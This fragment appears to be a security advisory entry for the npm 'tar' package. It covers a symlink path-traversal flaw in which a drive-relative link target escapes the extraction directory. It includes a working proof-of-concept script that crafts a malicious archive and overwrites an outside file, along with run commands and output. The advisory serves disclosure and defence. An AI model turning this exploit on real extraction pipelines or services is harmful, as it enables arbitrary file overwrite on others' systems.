+ "details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: 'a/b/l',\n type: 'SymbolicLink',\n linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
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